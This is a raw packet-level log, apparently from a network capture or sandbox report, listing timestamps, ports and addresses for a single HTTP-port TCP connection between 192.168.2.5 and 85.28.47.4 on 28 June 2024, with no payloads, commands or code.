Jun 28, 2024 13:36:05.820779085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820813894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820847988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820857048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820858002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820888042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820905924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.820934057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820944071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820954084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820969105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.820981026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821032047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821032047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821209908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821222067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821232080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821242094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821252108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821257114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821260929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821270943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821278095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821283102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821293116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821316957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821362019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821594000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821604967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821614027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821624994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821646929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821676016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821819067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821829081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821840048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821849108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821860075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821865082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821893930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.821964979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821974993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821985006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.821995020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.822005033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.822010040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.822015047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.822027922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.822051048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.900270939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900295019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900305986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900316000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900324106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900350094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900361061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900366068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900377035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900408983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.900496960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900506020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900510073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.900516987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900527954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900538921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900542974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.900548935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900558949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.900585890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.900619030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.901397943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.901456118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908396959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908406973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908422947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908433914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908444881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908495903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908507109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908516884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908524036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908524036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908566952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908567905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908611059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908621073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908633947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908644915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908651114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908655882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908667088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908675909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908678055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908711910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908721924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908721924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908754110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908761024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908765078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908776045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908797979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908832073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908853054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908864021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908874035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908885002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908895969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908898115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908907890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.908937931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.908966064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909086943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909099102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909109116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909120083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909131050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909138918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909142017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909153938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909177065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909205914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909226894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909239054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909249067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909260035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909271002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909274101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909281969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909291983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909331083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909374952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909385920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909398079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909408092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909419060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909423113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909429073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909439087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909470081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909496069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909523964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909540892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909552097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909562111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909568071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909571886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909583092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909594059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909614086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909651995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909823895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909841061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909852028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909862995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909871101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909876108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909898996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909907103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909909964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909919977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909945965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909948111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909959078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909964085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.909970045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909981012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.909982920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.910003901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.910015106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.910024881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.910027027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.910063028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.910084009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911020041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911031961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911042929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911077023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911106110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911129951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911140919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911150932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911161900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911174059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911178112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911211014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911212921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911223888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911226988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911266088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911334991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911345959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911355019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911365032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911374092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911380053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911384106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911395073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911405087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911412001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911453962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911469936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911482096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911511898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911540985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911597013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911608934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911618948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911629915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911638975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911643982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911649942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911660910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911670923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911679029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911681890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911691904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911703110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911719084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911719084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911745071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911866903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911879063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911889076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911900043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911910057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911910057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911921978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.911953926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.911982059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.991174936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991187096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991221905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991230965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991241932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991252899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991261005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.991306067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.991363049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991373062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991383076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991399050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991409063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991413116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.991420031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991430998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991430998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.991467953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.991493940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991503000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.991542101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.999147892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999159098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999170065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999238968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.999270916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999280930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999290943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999301910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999320984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.999347925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.999480963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999491930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999501944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999514103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999524117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999530077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.999535084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999546051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999547958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.999557972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999568939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:05.999572992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.999592066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:05.999619007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000128031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000138998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000149012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000159979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000169992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000180006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000180006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000190020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000200033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000210047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000211000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000220060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000231028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000236988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000245094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000260115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000267029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000284910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000293970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000298023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000313997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000320911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000330925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000340939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000344992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000350952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000361919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000375986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000389099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000392914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000400066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000410080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000417948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000420094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000427008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000438929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000458002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000463963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000473976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000489950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000499010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000509977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000519037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000520945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000520945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000530005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000540972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000541925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000576019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000581026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000591040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000592947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000602007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000612020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000622034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000634909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000669956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.000802994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.000849962 CEST	49705	80	192.168.2.5	85.28.47.4
